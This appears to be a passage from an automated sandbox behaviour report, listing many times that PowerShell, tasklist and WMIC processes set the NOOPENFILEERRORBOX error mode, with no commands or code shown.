Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
